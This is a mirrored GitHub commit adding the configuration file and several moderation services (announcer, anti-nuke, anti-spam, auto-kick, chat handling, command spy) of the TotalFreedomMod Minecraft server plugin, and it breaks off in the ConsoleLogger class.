mirror of
https://github.com/AtlasMediaGroup/TotalFreedomMod.git
synced 2025-06-12 13:53:54 +00:00
Mavenized project
This commit is contained in:
4
src/main/java/bans.yml
Normal file
4
src/main/java/bans.yml
Normal file
@ -0,0 +1,4 @@
|
||||
#
|
||||
# TotalFreedomMod ban config
|
||||
# Warning: modifying this file is not recommended.
|
||||
#
|
325
src/main/java/config.yml
Normal file
325
src/main/java/config.yml
Normal file
@ -0,0 +1,325 @@
|
||||
#
|
||||
# TotalFreedomMod v4.3 Configuration
|
||||
# by Madgeek1450 and Prozza
|
||||
#
|
||||
|
||||
# Generic server information
|
||||
server:
|
||||
# You should change this to your server's name
|
||||
name: TotalFreedom
|
||||
|
||||
# The address your server is located at. Please do not include the port.
|
||||
address: play.totalfreedom.me
|
||||
|
||||
# Shown at the server list
|
||||
motd: TotalFreedom &8- Minecraft %mcversion%
|
||||
|
||||
# Every word in the MOTD will be a different color unless prefixed by a color code
|
||||
colorful_motd: true
|
||||
|
||||
# All players who show up as owner
|
||||
owners:
|
||||
- markbyron
|
||||
|
||||
# URL players should appeal for bans at
|
||||
ban_url: http://totalfreedom.boards.net/
|
||||
|
||||
# URL players should appeal for permanent bans at
|
||||
permban_url: http://bit.ly/TF_PermBan
|
||||
|
||||
# ForceIP configuration
|
||||
forceip:
|
||||
enabled: false
|
||||
|
||||
# The port players should use to connect to your server; only applies to forceip
|
||||
port: 25565
|
||||
|
||||
# The kick message sent to players when logging in with the wrong hostname
|
||||
kickmsg: You have been kicked from the server - Please connect using %address%
|
||||
|
||||
|
||||
# Blocking certain events
|
||||
allow:
|
||||
fire_place: false
|
||||
fire_spread: false
|
||||
fluid_spread: false
|
||||
lava_place: false
|
||||
lava_damage: false
|
||||
water_place: false
|
||||
tnt_minecarts: false
|
||||
explosions: false
|
||||
|
||||
# Blocked commands:
|
||||
#
|
||||
# How blocked commands work:
|
||||
# All sections described below are delimited by colon characters.
|
||||
# Make sure that you block a command by its main command name, not an alias
|
||||
# -as all aliases are blocked by default. Commands are case-insensitive.
|
||||
#
|
||||
# * The first section is a letter which indicates which rank may use this command
|
||||
# Valid ranks:
|
||||
# n - Nobody (Completely disabled)
|
||||
# c - Senior Admins (Console)
|
||||
# t - Telnet Admins (Console)
|
||||
# s - Super Admins (Any in-game admin)
|
||||
# o - Ops (Non-Ops won't be able to use it)
|
||||
#
|
||||
# * The second section is a letter which indicates what to do when a player executes that command.
|
||||
# Valid actions:
|
||||
# b - Block the command
|
||||
# a - Block the command and auto-eject that player (for ops and below)
|
||||
# u - Block the command and Return an "Unknown command" message (Used to hide commands)
|
||||
#
|
||||
# * The third section is the command to be blocked, prefixed with a slash
|
||||
#
|
||||
# * The fourth section is the message to send to the player when executing that command.
|
||||
# This should be ommited if unwanted. ChatColors are supported with the &-key. By default
|
||||
# -the starting ChatColor is set to gray. You can use the default 'That command is blocked.' message
|
||||
# by using a single underscore.
|
||||
#
|
||||
# Examples:
|
||||
# - 'n:b:/mail sendall:&4You can't send mails to everyone!'
|
||||
# - 's:a:/stop'
|
||||
# - 'n:b:/ban:_'
|
||||
#
|
||||
blocked_commands:
|
||||
# Disabled commands
|
||||
- 'n:b:/time:Server-side time changing is disabled. Please use /ptime to set your own personal time.'
|
||||
- 'n:b:/gamemode:Use /creative and /survival to set your gamemode.'
|
||||
- 'n:b:/ban:_'
|
||||
- 'n:b:/pardon:_'
|
||||
- 'n:b:/ban-ip:_'
|
||||
- 'n:b:/pardon-ip:_'
|
||||
- 'n:b:/toggledownfall:_'
|
||||
- 'n:b:/effect:Please use /potion to set effects.'
|
||||
- 'n:b:/enderchest:_'
|
||||
- 'n:b:/spreadplayers:_'
|
||||
- 'n:b:/execute:_'
|
||||
- 'n:b:/blockdata:_'
|
||||
- 'n:b:/clearhistory:_'
|
||||
- 'n:b:/save-all:_'
|
||||
- 'n:b:/save-on:_'
|
||||
- 'n:b:/save-off:_'
|
||||
|
||||
# Superadmin commands
|
||||
- 's:b:/kick:_'
|
||||
- 's:b:/socialspy:_'
|
||||
- 's:b:/kill:_'
|
||||
- 's:b://generate:_'
|
||||
- 's:b://:_'
|
||||
- 's:b:/superpickaxe:_'
|
||||
- 's:b:/brush:_'
|
||||
- 's:b:/size:_'
|
||||
- 's:b://mask:_'
|
||||
- 's:b:/mat:_'
|
||||
- 's:b://butcher:_'
|
||||
- 's:b:/scoreboard:_'
|
||||
- 's:b:/setspawn:_'
|
||||
- 's:b://snow:_'
|
||||
- 's:b:/tellraw:_'
|
||||
- 's:b:/forestgen:_'
|
||||
- 's:b:/setidletimeout:_'
|
||||
- 's:b:/mail sendall:_'
|
||||
- 's:b:/eco reset:_'
|
||||
- 's:b:/mask:_'
|
||||
- 's:b:/gmask:_'
|
||||
- 's:b:/lrbuild:_'
|
||||
- 's:b:/defaultgamemode:_'
|
||||
- 's:b:/reload:_'
|
||||
- 's:b:/title:_'
|
||||
- 's:b:/worldborder:_'
|
||||
- 's:b:/weather:_'
|
||||
- 's:b:/tpall:_'
|
||||
- 's:b:/setblock:_'
|
||||
- 's:b:/green:_'
|
||||
- 'n:b:/gamerule:_'
|
||||
- 'n:b:/togglejail:_'
|
||||
|
||||
# Superadmin commands - Auto-eject
|
||||
- 's:a:/stop:_'
|
||||
- 's:a:/restart:_'
|
||||
|
||||
# Automatically wipe dropped objects
|
||||
auto_wipe: true
|
||||
|
||||
# Nuking prevention
|
||||
nukemonitor:
|
||||
enabled: true
|
||||
count_break: 100
|
||||
count_place: 40
|
||||
range: 10.0
|
||||
|
||||
freecam_trigger_count: 10
|
||||
explosive_radius: 4.0
|
||||
|
||||
# Show all attempted commands in the log, will result in duplicate log messages
|
||||
preprocess_log: true
|
||||
|
||||
# Disable certain events
|
||||
disable:
|
||||
night: true
|
||||
weather: true
|
||||
|
||||
|
||||
# Enable misc. features
|
||||
landmines_enabled: false
|
||||
mp44_enabled: false
|
||||
tossmob_enabled: false
|
||||
|
||||
# Moblimiter
|
||||
moblimiter:
|
||||
enabled: true
|
||||
max: 50
|
||||
disable:
|
||||
dragon: true
|
||||
ghast: true
|
||||
slime: true
|
||||
giant: true
|
||||
|
||||
# Flatlands
|
||||
flatlands:
|
||||
generate: true
|
||||
|
||||
# Flatlands generation parameters - Uses CleanroomGenerator syntax - http://dev.bukkit.org/server-mods/cleanroomgenerator/
|
||||
generate_params: 16,stone,32,dirt,1,grass
|
||||
|
||||
# Admin-Only Mode
|
||||
admin_only_mode: false
|
||||
|
||||
# Protected Areas - Protect areas so that only superadmins can directly modify blocks in those areas. WorldEdit and other such plugins might bypass this.
|
||||
protectarea:
|
||||
enabled: true
|
||||
auto_protect_spawnpoints: true
|
||||
auto_protect_radius: 25.0
|
||||
|
||||
# Give the default CONSOLE senior admin privileges.
|
||||
# Handy in development environments.
|
||||
console_is_senior: true
|
||||
|
||||
# Host Sender Names - Names that indicate automated services or host-based consoles you want to block from using some commands.
|
||||
# Make sure these are all lower-case.
|
||||
host_sender_names:
|
||||
- rcon
|
||||
- remotebukkit
|
||||
|
||||
# Announcer
|
||||
announcer:
|
||||
enabled: true
|
||||
|
||||
# Interval between announcements, in seconds.
|
||||
interval: 600
|
||||
|
||||
# Prefix for all announcements
|
||||
prefix: '&5[&eTotalFreedom&5] &b'
|
||||
|
||||
announcements:
|
||||
- 'Be sure to visit our forums at &6http://totalfreedom.boards.net/'
|
||||
- 'You can always review the server rules here: &6http://totalfreedom.me/'
|
||||
- 'If you are not OP, be sure to ask!'
|
||||
- 'Somebody breaking the rules? Report it! /report <user> <reason>'
|
||||
- 'Griefing is not allowed!'
|
||||
- 'Hacking is allowed!'
|
||||
- 'Interested in becoming admin? Do "/ai" for more information!'
|
||||
- 'You may view all online administrators via "/list -a"'
|
||||
- 'Save your buildings via WorldEdit! http://totalfreedom.me for more information!'
|
||||
- 'Famous players, such as Notch, are always fake! We are an offline/cracked server!'
|
||||
- 'You may contact TotalFreedoms Support on Twitter! pravi.us/nGS'
|
||||
- 'You may download TotalFreedomMod here: pravi.us/V8c'
|
||||
- 'MarkByron is TotalFreedoms owner.'
|
||||
- 'Server lagging? Check the lag via "/tps"'
|
||||
- 'You are allowed to record and stream videos on TotalFreedom :D'
|
||||
- 'An admin abusing? Report it! pravi.us/vfa'
|
||||
- 'Player vs Player while in creative/god mode it forbidden!'
|
||||
- 'Spawn killing is forbidden!'
|
||||
- 'Invisible potions are allowed!'
|
||||
- 'Serial griefing and trolling will result in permanently being banned!'
|
||||
- 'TotalFreedom does not accept any form of donations!'
|
||||
- 'Racism, Nazism, and Sexism is strictly forbidden!'
|
||||
- 'Join our Mumble server! IP: 64.34.202.140:2862'
|
||||
|
||||
# Players who cannot be banned by username
|
||||
unbannable_usernames:
|
||||
- honeydew
|
||||
- xephos
|
||||
- captainsparklez
|
||||
- truemu
|
||||
- kiershar
|
||||
- fvdisco
|
||||
- sethbling
|
||||
- notch
|
||||
- jeb_
|
||||
- gamechap
|
||||
- bertiechap
|
||||
- vechs
|
||||
- antvenom
|
||||
- chimneyswift
|
||||
- deadmau5
|
||||
- etho
|
||||
- ethoslab
|
||||
- skydoesminecraft
|
||||
- skythekidrs
|
||||
- tobyturner
|
||||
- xxslyfoxhoundxx
|
||||
- paulsoaresjr
|
||||
- sips_
|
||||
- deadlox
|
||||
- xxslyxx
|
||||
- jeromeasf
|
||||
- dinnerbone
|
||||
- grumm
|
||||
- grum
|
||||
- evilseph
|
||||
- cavemanfilms
|
||||
- herobrine
|
||||
- whiteboy7thst
|
||||
- stampylonghead
|
||||
- stampylongnose
|
||||
- dantdm
|
||||
- gizzy14gazza
|
||||
|
||||
# IPs that can not be supered
|
||||
noadmin_ips:
|
||||
- 167.114.97.16
|
||||
|
||||
# TwitterBot - Used to allow superadmins to verify themselves using twitter
|
||||
twitterbot:
|
||||
enabled: false
|
||||
url: ''
|
||||
secret: ''
|
||||
|
||||
# Pet Protect - Prevent tamed pets from being killed.
|
||||
petprotect:
|
||||
enabled: true
|
||||
|
||||
# Logviewer
|
||||
logs:
|
||||
url: ''
|
||||
secret: ''
|
||||
|
||||
# Mojang service checker
|
||||
service_checker_url: http://status.mojang.com/check
|
||||
|
||||
# HTTPD server
|
||||
httpd:
|
||||
enabled: true
|
||||
port: 28966
|
||||
public_folder: ./public_html
|
||||
|
||||
# Inactivity Auto-Kick (Requires Essentials)
|
||||
autokick:
|
||||
enabled: true
|
||||
|
||||
# autokick_threshold - Percentage of server player capacity used at which players will be automatically kicked for being inactive. Range: 0.0 - 1.0
|
||||
threshold: 0.9
|
||||
|
||||
# autokick_time - Time, in seconds, after which a player should be kicked when inactive
|
||||
time: 120
|
||||
|
||||
# Players with access to the overlord command
|
||||
overlord_ips:
|
||||
- 176.56.237.227
|
||||
- 192.184.86.138
|
||||
- 107.191.101.27
|
||||
- 178.62.117.94
|
||||
- 141.101.104.243
|
||||
|
93
src/main/java/me/totalfreedom/totalfreedommod/Announcer.java
Normal file
93
src/main/java/me/totalfreedom/totalfreedommod/Announcer.java
Normal file
@ -0,0 +1,93 @@
|
||||
package me.totalfreedom.totalfreedommod;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import com.google.common.collect.Lists;
|
||||
import java.util.Collections;
|
||||
import java.util.List;
|
||||
import lombok.Getter;
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.bukkit.scheduler.BukkitRunnable;
|
||||
|
||||
public class Announcer extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
private final List<String> announcements = Lists.newArrayList();
|
||||
@Getter
|
||||
private boolean enabled;
|
||||
@Getter
|
||||
private long interval;
|
||||
@Getter
|
||||
private String prefix;
|
||||
private BukkitRunnable announcer;
|
||||
|
||||
public Announcer(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
enabled = ConfigEntry.ANNOUNCER_ENABLED.getBoolean();
|
||||
interval = ConfigEntry.ANNOUNCER_INTERVAL.getInteger() * 20L;
|
||||
prefix = FUtil.colorize(ConfigEntry.ANNOUNCER_PREFIX.getString());
|
||||
|
||||
announcements.clear();
|
||||
for (Object announcement : ConfigEntry.ANNOUNCER_ANNOUNCEMENTS.getList())
|
||||
{
|
||||
announcements.add(FUtil.colorize((String) announcement));
|
||||
}
|
||||
|
||||
if (!enabled)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
announcer = new BukkitRunnable()
|
||||
{
|
||||
private int current = 0;
|
||||
|
||||
@Override
|
||||
public void run()
|
||||
{
|
||||
current++;
|
||||
|
||||
if (current >= announcements.size())
|
||||
{
|
||||
current = 0;
|
||||
}
|
||||
|
||||
FUtil.bcastMsg(prefix + announcements.get(current));
|
||||
}
|
||||
};
|
||||
|
||||
announcer.runTaskTimer(TotalFreedomMod.plugin, interval, interval);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
if (announcer == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
announcer.cancel();
|
||||
}
|
||||
catch (Exception ignored)
|
||||
{
|
||||
}
|
||||
finally
|
||||
{
|
||||
announcer = null;
|
||||
}
|
||||
}
|
||||
|
||||
public List<String> getAnnouncements()
|
||||
{
|
||||
return Collections.unmodifiableList(announcements);
|
||||
}
|
||||
|
||||
}
|
134
src/main/java/me/totalfreedom/totalfreedommod/AntiNuke.java
Normal file
134
src/main/java/me/totalfreedom/totalfreedommod/AntiNuke.java
Normal file
@ -0,0 +1,134 @@
|
||||
package me.totalfreedom.totalfreedommod;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.Location;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.EventPriority;
|
||||
import org.bukkit.event.block.BlockBreakEvent;
|
||||
import org.bukkit.event.block.BlockPlaceEvent;
|
||||
|
||||
public class AntiNuke extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
public AntiNuke(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.HIGH, ignoreCancelled = true)
|
||||
public void onBlockBreak(BlockBreakEvent event)
|
||||
{
|
||||
if (!ConfigEntry.NUKE_MONITOR_ENABLED.getBoolean())
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
final Player player = event.getPlayer();
|
||||
final Location location = event.getBlock().getLocation();
|
||||
final FPlayer fPlayer = plugin.pl.getPlayer(player);
|
||||
|
||||
final Location playerLocation = player.getLocation();
|
||||
|
||||
final double nukeMonitorRange = ConfigEntry.NUKE_MONITOR_RANGE.getDouble();
|
||||
|
||||
boolean outOfRange = false;
|
||||
if (!playerLocation.getWorld().equals(location.getWorld()))
|
||||
{
|
||||
outOfRange = true;
|
||||
}
|
||||
else if (playerLocation.distanceSquared(location) > (nukeMonitorRange * nukeMonitorRange))
|
||||
{
|
||||
outOfRange = true;
|
||||
}
|
||||
|
||||
if (outOfRange)
|
||||
{
|
||||
if (fPlayer.incrementAndGetFreecamDestroyCount() > ConfigEntry.FREECAM_TRIGGER_COUNT.getInteger())
|
||||
{
|
||||
FUtil.bcastMsg(player.getName() + " has been flagged for possible freecam nuking.", ChatColor.RED);
|
||||
FUtil.autoEject(player, "Freecam (extended range) block breaking is not permitted on this server.");
|
||||
|
||||
fPlayer.resetFreecamDestroyCount();
|
||||
|
||||
event.setCancelled(true);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (fPlayer.incrementAndGetBlockDestroyCount() > ConfigEntry.NUKE_MONITOR_COUNT_BREAK.getInteger())
|
||||
{
|
||||
FUtil.bcastMsg(player.getName() + " is breaking blocks too fast!", ChatColor.RED);
|
||||
FUtil.autoEject(player, "You are breaking blocks too fast. Nukers are not permitted on this server.");
|
||||
|
||||
fPlayer.resetBlockDestroyCount();
|
||||
|
||||
event.setCancelled(true);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.HIGH)
|
||||
public void onBlockPlace(BlockPlaceEvent event)
|
||||
{
|
||||
if (!ConfigEntry.NUKE_MONITOR_ENABLED.getBoolean())
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
Player player = event.getPlayer();
|
||||
Location blockLocation = event.getBlock().getLocation();
|
||||
FPlayer fPlayer = plugin.pl.getPlayer(player);
|
||||
|
||||
Location playerLocation = player.getLocation();
|
||||
|
||||
double nukeMonitorRange = ConfigEntry.NUKE_MONITOR_RANGE.getDouble();
|
||||
|
||||
boolean outOfRange = false;
|
||||
if (!playerLocation.getWorld().equals(blockLocation.getWorld()))
|
||||
{
|
||||
outOfRange = true;
|
||||
}
|
||||
else if (playerLocation.distanceSquared(blockLocation) > (nukeMonitorRange * nukeMonitorRange))
|
||||
{
|
||||
outOfRange = true;
|
||||
}
|
||||
|
||||
if (outOfRange)
|
||||
{
|
||||
if (fPlayer.incrementAndGetFreecamPlaceCount() > ConfigEntry.FREECAM_TRIGGER_COUNT.getInteger())
|
||||
{
|
||||
FUtil.bcastMsg(player.getName() + " has been flagged for possible freecam building.", ChatColor.RED);
|
||||
FUtil.autoEject(player, "Freecam (extended range) block building is not permitted on this server.");
|
||||
|
||||
fPlayer.resetFreecamPlaceCount();
|
||||
|
||||
event.setCancelled(true);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (fPlayer.incrementAndGetBlockPlaceCount() > ConfigEntry.NUKE_MONITOR_COUNT_PLACE.getInteger())
|
||||
{
|
||||
FUtil.bcastMsg(player.getName() + " is placing blocks too fast!", ChatColor.RED);
|
||||
FUtil.autoEject(player, "You are placing blocks too fast.");
|
||||
|
||||
fPlayer.resetBlockPlaceCount();
|
||||
|
||||
event.setCancelled(true);
|
||||
}
|
||||
}
|
||||
}
|
118
src/main/java/me/totalfreedom/totalfreedommod/AntiSpam.java
Normal file
118
src/main/java/me/totalfreedom/totalfreedommod/AntiSpam.java
Normal file
@ -0,0 +1,118 @@
|
||||
package me.totalfreedom.totalfreedommod;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||
import me.totalfreedom.totalfreedommod.util.FSync;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.EventPriority;
|
||||
import org.bukkit.event.player.AsyncPlayerChatEvent;
|
||||
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
|
||||
import org.bukkit.scheduler.BukkitRunnable;
|
||||
import org.bukkit.scheduler.BukkitTask;
|
||||
|
||||
public class AntiSpam extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
|
||||
public static final int MSG_PER_CYCLE = 8;
|
||||
public static final int TICKS_PER_CYCLE = 2 * 10;
|
||||
//
|
||||
public BukkitTask cycleTask = null;
|
||||
|
||||
public AntiSpam(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
new BukkitRunnable()
|
||||
{
|
||||
|
||||
@Override
|
||||
public void run()
|
||||
{
|
||||
cycle();
|
||||
}
|
||||
}.runTaskTimer(plugin, TICKS_PER_CYCLE, TICKS_PER_CYCLE);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
FUtil.cancel(cycleTask);
|
||||
}
|
||||
|
||||
private void cycle()
|
||||
{
|
||||
for (Player player : server.getOnlinePlayers())
|
||||
{
|
||||
final FPlayer playerdata = plugin.pl.getPlayer(player);
|
||||
|
||||
// TODO: Move each to their own section
|
||||
playerdata.resetMsgCount();
|
||||
playerdata.resetBlockDestroyCount();
|
||||
playerdata.resetBlockPlaceCount();
|
||||
}
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.LOW)
|
||||
public void onAsyncPlayerChat(AsyncPlayerChatEvent event)
|
||||
{
|
||||
final Player player = event.getPlayer();
|
||||
String message = event.getMessage().trim();
|
||||
|
||||
final FPlayer playerdata = plugin.pl.getPlayerSync(player);
|
||||
|
||||
// Check for spam
|
||||
if (playerdata.incrementAndGetMsgCount() > MSG_PER_CYCLE)
|
||||
{
|
||||
FSync.bcastMsg(player.getName() + " was automatically kicked for spamming chat.", ChatColor.RED);
|
||||
FSync.autoEject(player, "Kicked for spamming chat.");
|
||||
|
||||
playerdata.resetMsgCount();
|
||||
|
||||
event.setCancelled(true);
|
||||
return;
|
||||
}
|
||||
|
||||
// Check for message repeat
|
||||
if (playerdata.getLastMessage().equalsIgnoreCase(message))
|
||||
{
|
||||
FSync.playerMsg(player, "Please do not repeat messages.");
|
||||
event.setCancelled(true);
|
||||
return;
|
||||
}
|
||||
|
||||
playerdata.setLastMessage(message);
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.LOW)
|
||||
public void onPlayerCommandPreprocess(PlayerCommandPreprocessEvent event)
|
||||
{
|
||||
String command = event.getMessage();
|
||||
final Player player = event.getPlayer();
|
||||
final FPlayer fPlayer = plugin.pl.getPlayer(player);
|
||||
fPlayer.setLastCommand(command);
|
||||
|
||||
if (fPlayer.allCommandsBlocked())
|
||||
{
|
||||
FUtil.playerMsg(player, "Your commands have been blocked by an admin.", ChatColor.RED);
|
||||
event.setCancelled(true);
|
||||
return;
|
||||
}
|
||||
|
||||
if (fPlayer.incrementAndGetMsgCount() > MSG_PER_CYCLE)
|
||||
{
|
||||
FUtil.bcastMsg(player.getName() + " was automatically kicked for spamming commands.", ChatColor.RED);
|
||||
FUtil.autoEject(player, "Kicked for spamming commands.");
|
||||
|
||||
fPlayer.resetMsgCount();
|
||||
event.setCancelled(true);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
75
src/main/java/me/totalfreedom/totalfreedommod/AutoKick.java
Normal file
75
src/main/java/me/totalfreedom/totalfreedommod/AutoKick.java
Normal file
@ -0,0 +1,75 @@
|
||||
package me.totalfreedom.totalfreedommod;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.scheduler.BukkitRunnable;
|
||||
import org.bukkit.scheduler.BukkitTask;
|
||||
|
||||
public class AutoKick extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
|
||||
public static final long AUTOKICK_RATE = 10 * 20L;
|
||||
//
|
||||
private BukkitTask kickTask = null;
|
||||
private long autoKickTicks;
|
||||
private double autoKickThreshold;
|
||||
|
||||
public AutoKick(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
autoKickTicks = (long) ConfigEntry.AUTOKICK_TIME.getInteger() * 1000L;
|
||||
autoKickThreshold = ConfigEntry.AUTOKICK_THRESHOLD.getDouble();
|
||||
|
||||
if (!ConfigEntry.AUTOKICK_ENABLED.getBoolean())
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
kickTask = new BukkitRunnable()
|
||||
{
|
||||
|
||||
@Override
|
||||
public void run()
|
||||
{
|
||||
autoKickCheck();
|
||||
}
|
||||
}.runTaskTimer(plugin, AUTOKICK_RATE, AUTOKICK_RATE);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
FUtil.cancel(kickTask);
|
||||
kickTask = null;
|
||||
}
|
||||
|
||||
private void autoKickCheck()
|
||||
{
|
||||
|
||||
final boolean doAwayKickCheck
|
||||
= plugin.esb.isEssentialsEnabled()
|
||||
&& ((server.getOnlinePlayers().size() / server.getMaxPlayers()) > autoKickThreshold);
|
||||
|
||||
if (!doAwayKickCheck)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
for (Player player : server.getOnlinePlayers())
|
||||
{
|
||||
final long lastActivity = plugin.esb.getLastActivity(player.getName());
|
||||
if (lastActivity > 0 && lastActivity + autoKickTicks < System.currentTimeMillis())
|
||||
{
|
||||
player.kickPlayer("Automatically kicked by server for inactivity.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,96 @@
|
||||
package me.totalfreedom.totalfreedommod;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||
import me.totalfreedom.totalfreedommod.util.FSync;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.EventPriority;
|
||||
import org.bukkit.event.player.AsyncPlayerChatEvent;
|
||||
|
||||
public class ChatManager extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
|
||||
public ChatManager(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.HIGHEST, ignoreCancelled = true)
|
||||
public void onPlayerChatFormat(AsyncPlayerChatEvent event)
|
||||
{
|
||||
try
|
||||
{
|
||||
handleChatEvent(event);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
FLog.severe(ex);
|
||||
}
|
||||
}
|
||||
|
||||
private void handleChatEvent(AsyncPlayerChatEvent event)
|
||||
{
|
||||
final Player player = event.getPlayer();
|
||||
String message = event.getMessage().trim();
|
||||
|
||||
final FPlayer playerdata = plugin.pl.getPlayerSync(player);
|
||||
|
||||
// Strip color from messages
|
||||
message = ChatColor.stripColor(message);
|
||||
|
||||
// Truncate messages that are too long - 100 characters is vanilla client max
|
||||
if (message.length() > 100)
|
||||
{
|
||||
message = message.substring(0, 100);
|
||||
FSync.playerMsg(player, "Message was shortened because it was too long to send.");
|
||||
}
|
||||
|
||||
// Check for caps
|
||||
if (message.length() >= 6)
|
||||
{
|
||||
int caps = 0;
|
||||
for (char c : message.toCharArray())
|
||||
{
|
||||
if (Character.isUpperCase(c))
|
||||
{
|
||||
caps++;
|
||||
}
|
||||
}
|
||||
if (((float) caps / (float) message.length()) > 0.65) //Compute a ratio so that longer sentences can have more caps.
|
||||
{
|
||||
message = message.toLowerCase();
|
||||
}
|
||||
}
|
||||
|
||||
// Check for adminchat
|
||||
if (playerdata.inAdminChat())
|
||||
{
|
||||
FSync.adminChatMessage(player, message, false);
|
||||
event.setCancelled(true);
|
||||
return;
|
||||
}
|
||||
|
||||
// Finally, set message
|
||||
event.setMessage(message);
|
||||
|
||||
// Set the tag
|
||||
if (playerdata.getTag() != null)
|
||||
{
|
||||
event.setFormat("<" + playerdata.getTag().replaceAll("%", "%%") + " %1$s> %2$s");
|
||||
}
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,45 @@
|
||||
package me.totalfreedom.totalfreedommod;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.EventPriority;
|
||||
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
|
||||
|
||||
public class CommandSpy extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
|
||||
public CommandSpy(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.MONITOR)
|
||||
public void onPlayerCommandPreprocess(PlayerCommandPreprocessEvent event)
|
||||
{
|
||||
if (plugin.al.isAdmin(event.getPlayer()))
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
for (Player player : server.getOnlinePlayers())
|
||||
{
|
||||
if (plugin.al.isAdmin(player) && plugin.pl.getPlayer(player).cmdspyEnabled())
|
||||
{
|
||||
FUtil.playerMsg(player, event.getPlayer().getName() + ": " + event.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,43 @@
|
||||
package me.totalfreedom.totalfreedommod;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import net.pravian.aero.util.Ips;
|
||||
import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.EventPriority;
|
||||
import org.bukkit.event.player.PlayerJoinEvent;
|
||||
import org.bukkit.event.player.PlayerQuitEvent;
|
||||
|
||||
public class ConsoleLogger extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
|
||||
public ConsoleLogger(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
}
|
||||
|
